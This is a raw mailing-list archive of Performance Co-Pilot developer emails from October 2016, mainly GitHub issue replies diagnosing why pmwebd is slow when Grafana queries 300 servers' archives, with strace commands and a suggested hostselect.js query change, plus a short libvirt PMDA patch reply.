X-Barracuda-BBL-IP: 192.30.252.199 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=github.com; s=pf2014; t=1475584745; bh=dJVmuvYO1RX9N9BOn0kG9ijqT8jMNBF2sucxw/IzjNE=; h=From:Reply-To:To:In-Reply-To:References:Subject:List-ID: List-Archive:List-Post:List-Unsubscribe:From; b=T5jYfybimnmQ/QKIczUVV6pxCWd6fmqzwAzE+N50k8gX1pKbB/JivaFmBqZpXV1Fe ATP9HXGm2hOzk3cYuHx0BXMZ31G0K+nwD04jdoGqkfoBA0X86whYbAJMQaEPvz1oSy I7zTXoDmHS/MD/y6ve7vB5bRWZyhRcVyuD3DEJDM= From: "Frank Ch. Eigler" Reply-To: performancecopilot/pcp To: performancecopilot/pcp Message-ID: In-Reply-To: References: Subject: Re: [performancecopilot/pcp] pmwebd impossibly slow when using grafana with 300 archives (#117) Mime-Version: 1.0 X-ASG-Orig-Subj: Re: [performancecopilot/pcp] pmwebd impossibly slow when using grafana with 300 archives (#117) Content-Type: multipart/alternative; boundary="--==_mimepart_57f3a2e9722ef_49a43f826e9d92b814953d"; charset=UTF-8 Content-Transfer-Encoding: 7bit Precedence: list X-GitHub-Sender: fche X-GitHub-Recipient: pcpemail List-ID: performancecopilot/pcp List-Archive: https://github.com/performancecopilot/pcp List-Post: List-Unsubscribe: , X-Auto-Response-Suppress: All X-GitHub-Recipient-Address: pcp@kenj.com.au X-Barracuda-Connect: smtp-outgoing-66.servers.netregistry.net[202.124.241.66] X-Barracuda-Start-Time: 1475584757 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 4883 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, WEIRD_PORT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33458 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.50 WEIRD_PORT URI: Uses non-standard port number for HTTP 0.00 HTML_MESSAGE BODY: HTML included in message ----==_mimepart_57f3a2e9722ef_49a43f826e9d92b814953d Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit So about 2 GB of data per server per day, times seven days, times 300 servers, so 4200 GB of data on disk. Wow. Even the current day's data won't fit into your machine's RAM, so any scanning would have to rely on libpcp/archive optimally using .index files to seek to just the the parts being requested by the client (pmwebd/grafana). I don't know if pcp developers have much experience with such RAM-starved configurations. This is not to say it's hopeless. I'd start with a highly constrained grafana query (substituting PMWEBD and HOSTNAME). It represents kind of the best case - one archive file, small time slice from the end. If that works, try additional &target= clauses, or gradually relax the host wildcard (so as to select more hosts). http://PMWEBD:44323/grafana/index.html#/dashboard/script/multichart.js?from=now-5m&to=now&target=*HOSTNAME*.kernel.all.load.1%20minute&title=kernel.all.load.1%20minute&style=json -- You are receiving this because you are subscribed to this thread. Reply to this email directly or view it on GitHub: https://github.com/performancecopilot/pcp/issues/117#issuecomment-251375959 ----==_mimepart_57f3a2e9722ef_49a43f826e9d92b814953d Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable

So about 2 GB of data per server per day, times seven days, times 300 = servers, so 4200 GB of data on disk. Wow. Even the current day's data w= on't fit into your machine's RAM, so any scanning would have to rely on l= ibpcp/archive optimally using .index files to seek to just the the parts = being requested by the client (pmwebd/grafana). I don't know if pcp deve= lopers have much experience with such RAM-starved configurations.

This is not to say it's hopeless. I'd start with a highly constrained= grafana query (substituting PMWEBD and HOSTNAME). It represents kind of= the best case - one archive file, small time slice from the end. If tha= t works, try additional &target=3D clauses, or gradually relax the ho= st wildcard (so as to select more hosts).

http://PMWEBD:44323/grafana/index.html#/dashboard/script/multi=
chart.js?from=3Dnow-5m&to=3Dnow&target=3D*HOSTNAME*.kernel.all.lo=
ad.1%20minute&title=3Dkernel.all.load.1%20minute&style=3Djson

&m= dash;
You are receiving this because you are subscribed to this thre= ad.
Reply to this email directly, view it on GitHub, or mute the thread.

=
= ----==_mimepart_57f3a2e9722ef_49a43f826e9d92b814953d-- From bounces+848413-2b58-pcp=kenj.com.au@sgmail.github.com Tue Oct 4 08:45:49 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C2BEB7CA0 for ; Tue, 4 Oct 2016 08:45:49 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 96293304032 for ; Tue, 4 Oct 2016 06:45:46 -0700 (PDT) X-ASG-Debug-ID: 1475588742-0bf57b1e9313eff0001-S8gJnT Received: from smtp-mx-server-8.servers.netregistry.net (smtp-outgoing-69.servers.netregistry.net [202.124.241.69]) by cuda.sgi.com with ESMTP id mxPUizm38ATzMU7f (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Tue, 04 Oct 2016 06:45:44 -0700 (PDT) X-Barracuda-Envelope-From: bounces+848413-2b58-pcp=kenj.com.au@sgmail.github.com X-Barracuda-RBL-Trusted-Forwarder: 202.124.241.69 Received: from o10.sgmail.github.com ([167.89.101.201]) by smtp-mx-server-8.servers.netregistry.net protocol: esmtps (Exim 4.84_2 #1 (Debian)) id 1brQ2M-0004NQ-Ag for ; Wed, 05 Oct 2016 00:45:41 +1100 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed; d=github.com; h=from:reply-to:to:in-reply-to:references:subject:mime-version:content-type:content-transfer-encoding:list-id:list-archive:list-post:list-unsubscribe; s=s20150108; bh=B7i1TTR5/1IGVYKy+dE6yJ74CGA=; b=huRKzNkRsg7LckbO VDTRzOFuA9Bvsry+k9aAqXubi5cYIpDANNQTCbYfgefLbovXDhpkqlpmAXktMYiY 0xn4r77SlpoaZJMPHL+9MIrVxeuFxWcRkeMJSnGg17oBXe43lrzstx+uFWKKLVqu nbf4oBwqIaldAbhA1xX5RWBSpOc= X-Barracuda-Effective-Source-IP: o10.sgmail.github.com[167.89.101.201] X-Barracuda-Apparent-Source-IP: 167.89.101.201 X-Barracuda-RBL-IP: 167.89.101.201 X-Barracuda-BBL-IP: 167.89.101.201 Received: by filter0405p1mdw1.sendgrid.net with SMTP id filter0405p1mdw1.11067.57F3B26B14 2016-10-04 13:45:15.151715618 +0000 UTC Received: from github-smtp2b-ext-cp1-prd.iad.github.net (github-smtp2b-ext-cp1-prd.iad.github.net [192.30.253.17]) by ismtpd0001p1iad1.sendgrid.net (SG) with ESMTP id fp8FQQm8SwKAY2hXAj4p8g for ; Tue, 04 Oct 2016 13:45:15.228 +0000 (UTC) Date: Tue, 04 Oct 2016 06:45:15 -0700 From: Marko Kevac Reply-To: performancecopilot/pcp To: performancecopilot/pcp Message-ID: In-Reply-To: References: Subject: Re: [performancecopilot/pcp] pmwebd impossibly slow when using grafana with 300 archives (#117) Mime-Version: 1.0 X-ASG-Orig-Subj: Re: [performancecopilot/pcp] pmwebd impossibly slow when using grafana with 300 archives (#117) Content-Type: multipart/alternative; boundary="--==_mimepart_57f3b26b9ebb_4b9d3fab5cb312c05030f1"; charset=UTF-8 Content-Transfer-Encoding: 7bit Precedence: list X-GitHub-Sender: mkevac X-GitHub-Recipient: pcpemail List-ID: performancecopilot/pcp List-Archive: https://github.com/performancecopilot/pcp List-Post: List-Unsubscribe: , X-Auto-Response-Suppress: All X-GitHub-Recipient-Address: pcp@kenj.com.au X-SG-EID: XHgpD0I4dwPyvalfBvzXHjYOnBNKyEST/hu/iWGWJEe7ZtUqM/hFMs87n8h+28dSfpz0TimHaCvHLf BV0lgeUkQJxkRBqkzVsg4pUm1WaDyXi4osNqpgH66zClcCfUHL9PTj+5dJGq/WWn1EmUx+6/zPMrSb THtJz7Y5is02+ZuONo5rQVPDuoAoN3kz6mFQuPAEtU60HCnCmIrku8ZLbA== X-Barracuda-Connect: smtp-outgoing-69.servers.netregistry.net[202.124.241.69] X-Barracuda-Start-Time: 1475588743 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 4834 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33459 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message ----==_mimepart_57f3b26b9ebb_4b9d3fab5cb312c05030f1 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit > So about 2 GB of data per server per day, times seven days, times 300 servers, so 4200 GB of data on disk. Wow. Even the current day's data won't fit into your machine's RAM, so any scanning would have to rely on libpcp/archive optimally using .index files to seek to just the the parts being requested by the client (pmwebd/grafana). I don't know if pcp developers have much experience with such RAM-starved configurations. Why query for host list has to read whole and each archive? It's very strange. Shouldn't host be somewhere in the beginning of the file? After initial "get me host list" query, when I chose one host, pmwebd would have to read only 7 archives for one host (14GB). And if only one day or one hour is selected in Grafana, then only one file (2GB). But right now problem is on the first stage. Getting host list. And IMHO (without knowing about pcp internals), this should not need 4Tb read. -- You are receiving this because you are subscribed to this thread. Reply to this email directly or view it on GitHub: https://github.com/performancecopilot/pcp/issues/117#issuecomment-251391795 ----==_mimepart_57f3b26b9ebb_4b9d3fab5cb312c05030f1 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable

So about 2 GB of data per server per day, times seven days, times 300 se= rvers, so 4200 GB of data on disk. Wow. Even the current day's data won't f= it into your machine's RAM, so any scanning would have to rely on libpcp/ar= chive optimally using .index files to seek to just the the parts being requ= ested by the client (pmwebd/grafana). I don't know if pcp developers have m= uch experience with such RAM-starved configurations.

Why query for host list has to read whole and each archive? It's very st= range. Shouldn't host be somewhere in the beginning of the file?

After initial "get me host list" query, when I chose one host, pmwebd wo= uld have to read only 7 archives for one host (14GB).

And if only one day or one hour is selected in Grafana, then only one fi= le (2GB).

But right now problem is on the first stage. Getting host list. And IMHO= (without knowing about pcp internals), this should not need 4Tb read.

&mda= sh;
You are receiving this because you are subscribed to this thread.<= br />Reply to this email directly, view it on GitHub, or <= a href=3D"https://github.com/notifications/unsubscribe-auth/AL0Itk1z8gLYXte= 9iGCTNRzL2WILdWESks5qwlhrgaJpZM4KKD0Y">mute the thread.3D""

= ----==_mimepart_57f3b26b9ebb_4b9d3fab5cb312c05030f1-- From bounces+848413-2b58-pcp=kenj.com.au@sgmail.github.com Tue Oct 4 09:19:59 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 678187CA0 for ; Tue, 4 Oct 2016 09:19:59 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 37462304048 for ; Tue, 4 Oct 2016 07:19:56 -0700 (PDT) X-ASG-Debug-ID: 1475590788-0bf57b1e931411b0001-S8gJnT Received: from smtp-mx-server-8.servers.netregistry.net (smtp-outgoing-70.servers.netregistry.net [202.124.241.70]) by cuda.sgi.com with ESMTP id YNMW52LgIGC4dmml (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Tue, 04 Oct 2016 07:19:50 -0700 (PDT) X-Barracuda-Envelope-From: bounces+848413-2b58-pcp=kenj.com.au@sgmail.github.com X-Barracuda-RBL-Trusted-Forwarder: 202.124.241.70 Received: from o6.sgmail.github.com ([192.254.113.101]) by smtp-mx-server-8.servers.netregistry.net protocol: esmtps (Exim 4.84_2 #1 (Debian)) id 1brQZM-00089h-I5 for ; Wed, 05 Oct 2016 01:19:47 +1100 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed; d=github.com; h=from:reply-to:to:in-reply-to:references:subject:mime-version:content-type:content-transfer-encoding:list-id:list-archive:list-post:list-unsubscribe; s=s20150108; bh=VkUjalWBuQlBIK/EgFwf33qlYUM=; b=cY8H7rygTa2jE4PV 1BcDhCZ6z86c2B61SVNXjpu2BY7OfcjFgc2Jnr8PzpHHx0xsfqKOPw+LW2nN+HoH Ox0F3GxAwA5/rnJ4DFuKhuNw4HV8hdR04RfztXGse0zqTy9m1PtRFo6gE2ETmlWe wO+FsUQ2PkzfhUEk/bZOtLdTDK0= X-Barracuda-Effective-Source-IP: UNKNOWN[192.254.113.101] X-Barracuda-Apparent-Source-IP: 192.254.113.101 X-Barracuda-RBL-IP: 192.254.113.101 X-Barracuda-BBL-IP: 192.254.113.101 Received: by filter0824p1mdw1.sendgrid.net with SMTP id filter0824p1mdw1.1672.57F3BA6778 2016-10-04 14:19:19.977866203 +0000 UTC Received: from github-smtp2a-ext-cp1-prd.iad.github.net (github-smtp2a-ext-cp1-prd.iad.github.net [192.30.253.16]) by ismtpd0004p1iad1.sendgrid.net (SG) with ESMTP id 512eu_uXTpuDJCVeY7fbOA for ; Tue, 04 Oct 2016 14:19:19.902 +0000 (UTC) Date: Tue, 04 Oct 2016 07:19:19 -0700 From: "Frank Ch. Eigler" Reply-To: performancecopilot/pcp To: performancecopilot/pcp Message-ID: In-Reply-To: References: Subject: Re: [performancecopilot/pcp] pmwebd impossibly slow when using grafana with 300 archives (#117) Mime-Version: 1.0 X-ASG-Orig-Subj: Re: [performancecopilot/pcp] pmwebd impossibly slow when using grafana with 300 archives (#117) Content-Type: multipart/alternative; boundary="--==_mimepart_57f3ba67bcd98_5a793f8d7cffb2b880498"; charset=UTF-8 Content-Transfer-Encoding: 7bit Precedence: list X-GitHub-Sender: fche X-GitHub-Recipient: pcpemail List-ID: performancecopilot/pcp List-Archive: https://github.com/performancecopilot/pcp List-Post: List-Unsubscribe: , X-Auto-Response-Suppress: All X-GitHub-Recipient-Address: pcp@kenj.com.au X-SG-EID: XHgpD0I4dwPyvalfBvzXHjYOnBNKyEST/hu/iWGWJEfIArE95MKClCB7i3MUxYPjQ3iXhN1BxjIDLF lda/RAMqBfDyJ7eVf/Ok2qvzroVB3J0xYonm8ibC/ZhZeguTh+KRv613k2fMh+3MP15F2S/uj9/HUj d0wc8aTtB8CU36NDphzblFzgDcr8a8WQGWCrJwak9pfKpPE3JwswKtEL1C4Dt7u62JQmt2wk0+uYdj A= X-Barracuda-Connect: smtp-outgoing-70.servers.netregistry.net[202.124.241.70] X-Barracuda-Start-Time: 1475590789 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 8356 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33460 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message ----==_mimepart_57f3ba67bcd98_5a793f8d7cffb2b880498 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit You're roughly right. The hostselect.js dashboard's query is: /graphite/render?format=json&target=*.pmcd.pmlogger.port.*&from=-1m&until=now ... which asks pmwebd to iterate through all archives (300*7), to pull out one metric value recorded in the last minute. Its goal is to enumerate those archive files that are currently being written to, so it can reverse-engineer host names etc. from them. Those archives whose end-of-records timestamp doesn't include this moment will be rejected pretty quickly (after one `pmGetArchiveEnd` call). This involves reading little bits of the beginning and the end of the .0 / .index / .meta files. (Compare `strace pmloglabel -l $ARCHIVEFILE`.) ... though there are some thousands of them, and this is not cached within pmwebd (see that rhbz link above), so there is some wasted time but not that much I/O. Those archives whose time intervals does include the last minute are probably those 300 that are currently being written to by a running `pmlogger`. In this case, `pmwebd` seeks to the near-end of the archive with `pmSetMode`, and tries to fetch that metric value. Unfortunately, things go badly here, because the metric in question turns out to be stored only one time, at the beginning of the archive file/timeline, and libpcp decides to go searching for it. During this search, libpcp reads, **backwards**, essentially the **whole** archive data file. For the sad tale, see your own strace, or the analogous: strace pmval -t 60 -S "@`date -d '-1min' +'%y-%m-%d %H:%M'`" -T "@`date +'%y-%m-%d %H:%M'`" -a $ANY_ACTIVE_ARCHIVE_FILE pmcd.pmlogger.port Sorry about that. That is pretty abysmal. As a hack (and I bet you'll figure out why it works if it works), try changing the hostselect.js file thusly, and clear those browser caches: - url: pmwebd + "/graphite/render?format=json&target=*.pmcd.pmlogger.port.*&from=-1m&until=now" + url: pmwebd + "/graphite/render?format=json&target=*.proc.nprocs&from=-1m&until=now" -- You are receiving this because you are subscribed to this thread. Reply to this email directly or view it on GitHub: https://github.com/performancecopilot/pcp/issues/117#issuecomment-251401622 ----==_mimepart_57f3ba67bcd98_5a793f8d7cffb2b880498 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable

You're roughly right. The hostselect.js dashboard's query is:

/graphite/render?format=3Djson&target=3D*.pmcd.pmlogger.port=
.*&from=3D-1m&until=3Dnow

... which asks pmwebd to iterate through all archives (300*7), to pull o= ut one metric value recorded in the last minute. Its goal is to enumerate = those archive files that are currently being written to, so it can reverse-= engineer host names etc. from them.

Those archives whose end-of-records timestamp doesn't include this momen= t will be rejected pretty quickly (after one pmGetArchiveEnd c= all). This involves reading little bits of the beginning and the end of th= e .0 / .index / .meta files. (Compare strace pmloglabel -l $ARCHIVEF= ILE.) ... though there are some thousands of them, and this is not c= ached within pmwebd (see that rhbz link above), so there is some wasted tim= e but not that much I/O.

Those archives whose time intervals does include the last minute are pro= bably those 300 that are currently being written to by a running pmlo= gger. In this case, pmwebd seeks to the near-end of th= e archive with pmSetMode, and tries to fetch that metric value= . Unfortunately, things go badly here, because the metric in question turn= s out to be stored only one time, at the beginning of the archive file/time= line, and libpcp decides to go searching for it. During this search, libpc= p reads, backwards, essentially the whole= archive data file. For the sad tale, see your own strace, or the analogou= s:

strace pmval -t 60 -S "@`date -d '-1min' +'%y-%m-%d %H:%M'`" -T =
"@`date +'%y-%m-%d %H:%M'`"  -a $ANY_ACTIVE_ARCHIVE_FILE  pmcd.pmlogger.port

Sorry about that. That is pretty abysmal.

As a hack (and I bet you'll figure out why it works if it works), try ch= anging the hostselect.js file thusly, and clear those browser caches:

  • url: pmwebd + "/graphite/render?format=3Djson&target=3D.= pmcd.pmlogger.port.&from=3D-1m&until=3Dnow"
  • url: pmwebd + "/graphite/render?format=3Djson&target=3D*.proc= .nprocs&from=3D-1m&until=3Dnow"

&mda= sh;
You are receiving this because you are subscribed to this thread.<= br />Reply to this email directly, view it on GitHub, or <= a href=3D"https://github.com/notifications/unsubscribe-auth/AL0ItomULrhc66h= j1qWysh89iz7m0LmDks5qwmBngaJpZM4KKD0Y">mute the thread.3D""

----==_mimepart_57f3cdeea9831_54b43fc1cadbd2bc2902ec-- From myllynen@redhat.com Tue Oct 4 13:00:47 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B13257CA7 for ; Tue, 4 Oct 2016 13:00:47 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6A13D30404E for ; Tue, 4 Oct 2016 11:00:47 -0700 (PDT) X-ASG-Debug-ID: 1475604041-0bf57b1e9314c2c0001-S8gJnT Received: from mail-wm0-f50.google.com (mail-wm0-f50.google.com [74.125.82.50]) by cuda.sgi.com with ESMTP id fQOZcsgTchDBZU0u (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Tue, 04 Oct 2016 11:00:42 -0700 (PDT) X-Barracuda-Envelope-From: myllynen@redhat.com X-Barracuda-Effective-Source-IP: mail-wm0-f50.google.com[74.125.82.50] X-Barracuda-Apparent-Source-IP: 74.125.82.50 Received: by mail-wm0-f50.google.com with SMTP id k125so221304719wma.1 for ; Tue, 04 Oct 2016 11:00:42 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:reply-to:subject:references:to:cc:from :organization:message-id:date:user-agent:mime-version:in-reply-to :content-transfer-encoding; bh=PwaiLd72t9SKeCEGcsicAurX3GLyyXBRmChOuRGyyR0=; b=e/xmGYzf3oSo7oAzPwHiRPNCrn1cPh+rF+RzVYCGtR/qeCrzQvtjSk5ArFRumVXz1t /4ao3vUEdFQ6HygKZE0dr5gVIvNbJEBhTmQz0IZ0uYkp64sdDJAX7nUvujhd3XEjk+WI ZOuudkeHvHvq2c9zRUvYOdTErc6wkEjJRFO0LJehA/AxQGERaMjWeVyvK0Zd02DtBxwF gMw3ruxgrNzCDKzR2W+PpLzey+EI06mJd+zS5503X7yrNp8ik/9QaigpduaIMRcuiFsO 5Kb5Ajzq45NXgXOcnL2yhtRAYpB0iAZ9YudUQEJ0P87W8gbOAaYftD6rx7pvPWHfEhsz J0oQ== X-Gm-Message-State: AA6/9Rltu02wiFogm2FLsQ5DqlCxR4QXRMsCJMqWZ5kQ8xeD9UWzP0HRT59Tjvo2nvhHsSLg X-Received: by 10.194.83.166 with SMTP id r6mr4136761wjy.186.1475604040192; Tue, 04 Oct 2016 11:00:40 -0700 (PDT) Received: from [192.168.1.100] (188-67-161-78.bb.dnainternet.fi. [188.67.161.78]) by smtp.gmail.com with ESMTPSA id jr3sm4685626wjb.13.2016.10.04.11.00.38 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Tue, 04 Oct 2016 11:00:39 -0700 (PDT) Reply-To: Marko Myllynen Subject: Re: [pcp] libvirt pmda: add per-device metrics References: <2d10d43c-a7a2-1488-f6c8-e8ab93e46af9@redhat.com> <419466549.762313.1475441807473.JavaMail.zimbra@redhat.com> X-ASG-Orig-Subj: Re: [pcp] libvirt pmda: add per-device metrics To: Nathan Scott Cc: pcp developers From: Marko Myllynen Organization: Red Hat Message-ID: <4231e9c8-0361-35c9-b631-7899b4e84b07@redhat.com> Date: Tue, 4 Oct 2016 21:00:37 +0300 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Thunderbird/45.4.0 MIME-Version: 1.0 In-Reply-To: <419466549.762313.1475441807473.JavaMail.zimbra@redhat.com> Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-wm0-f50.google.com[74.125.82.50] X-Barracuda-Start-Time: 1475604042 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 1122 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.01 X-Barracuda-Spam-Status: No, SCORE=0.01 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC0_SA_TO_FROM_DOMAIN_MATCH X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33467 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain Hi, On 2016-10-02 23:56, Nathan Scott wrote: > ----- Original Message ----- >> >> Below is a patch to add support for per-device metrics (for >> VCPU/block/net devices). Nothing too exciting here, the only >> thing to pay attention to is that these clusters now have too >> different indoms, seems to work just fine. > > Looks good, working nicely here. > >> libvirt.domstats.block.capacity >> inst [1 or "f01110aa-de20-4f2d-8f98-6ee0bc9de412-block7"] value 1073741824 > > There's a convention of using "::" as separator for compound instances in other > PMDAs, which would make the above - > > libvirt.domstats.block.capacity > inst [1 or "f01110aa-de20-4f2d-8f98-6ee0bc9de412::block7"] value 1073741824 > > Which is a more clear separator here, and its easier to pick apart in this case > too (via awk/sed/... that is). If you have a strong preference for the original > way though, no problem going back to that - let me know. Otherwise, its all in > now - thanks for following up on this. The :: convention makes sense, we're all good. Thanks, -- Marko Myllynen From noreply@github.com Tue Oct 4 14:02:41 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.8 required=5.0 tests=HTML_IMAGE_ONLY_24, HTML_MESSAGE,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CD1947CAE for ; Tue, 4 Oct 2016 14:02:40 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4AADDAC002 for ; Tue, 4 Oct 2016 12:02:35 -0700 (PDT) X-ASG-Debug-ID: 1475607752-0bf57b1e9414fc20001-S8gJnT Received: from smtp-mx-server-8.servers.netregistry.net (smtp-outgoing-69.servers.netregistry.net [202.124.241.69]) by cuda.sgi.com with ESMTP id bApWppRsQ37eT6y8 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Tue, 04 Oct 2016 12:02:34 -0700 (PDT) X-Barracuda-Envelope-From: noreply@github.com X-Barracuda-RBL-Trusted-Forwarder: 202.124.241.69 Received: from github-smtp2-ext4.iad.github.net ([192.30.252.195] helo=github-smtp2a-ext-cp1-prd.iad.github.net) by smtp-mx-server-8.servers.netregistry.net protocol: esmtps (Exim 4.84_2 #1 (Debian)) id 1brUyw-00041S-Bf for ; Wed, 05 Oct 2016 06:02:31 +1100 Date: Tue, 04 Oct 2016 12:02:19 -0700 X-Barracuda-Effective-Source-IP: UNKNOWN[192.30.252.195] X-Barracuda-Apparent-Source-IP: 192.30.252.195 X-Barracuda-RBL-IP: 192.30.252.195 X-Barracuda-BBL-IP: 192.30.252.195 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=github.com; s=pf2014; t=1475607739; bh=uc8bCSPAzJKyva3Cq7cGqZ1Puj075+mfWBwb9Qjbxs0=; h=From:Reply-To:To:In-Reply-To:References:Subject:List-ID: List-Archive:List-Post:List-Unsubscribe:From; b=LCaa3Vw1ytQUD6hUM1affvwgLeg+xbUYTLJbxsQV6fGBH1II5MXePTk/ZeCs/ym91 yEbWiJPPIhZunoDfMu03tTU5K4P3NxTpCCCQcCSHodlw+E+o8u1rlpA639RxCvjOoX ThY4ly/QKkLcL6C9InBToLHO29+LatUJRgHKM3cY= From: "Frank Ch. Eigler" Reply-To: performancecopilot/pcp To: performancecopilot/pcp Message-ID: In-Reply-To: References: Subject: Re: [performancecopilot/pcp] pmwebd impossibly slow when using grafana with 300 archives (#117) Mime-Version: 1.0 X-ASG-Orig-Subj: Re: [performancecopilot/pcp] pmwebd impossibly slow when using grafana with 300 archives (#117) Content-Type: multipart/alternative; boundary="--==_mimepart_57f3fcbb3c89f_287d3f912744b2c092376"; charset=UTF-8 Content-Transfer-Encoding: 7bit Precedence: list X-GitHub-Sender: fche X-GitHub-Recipient: pcpemail List-ID: performancecopilot/pcp 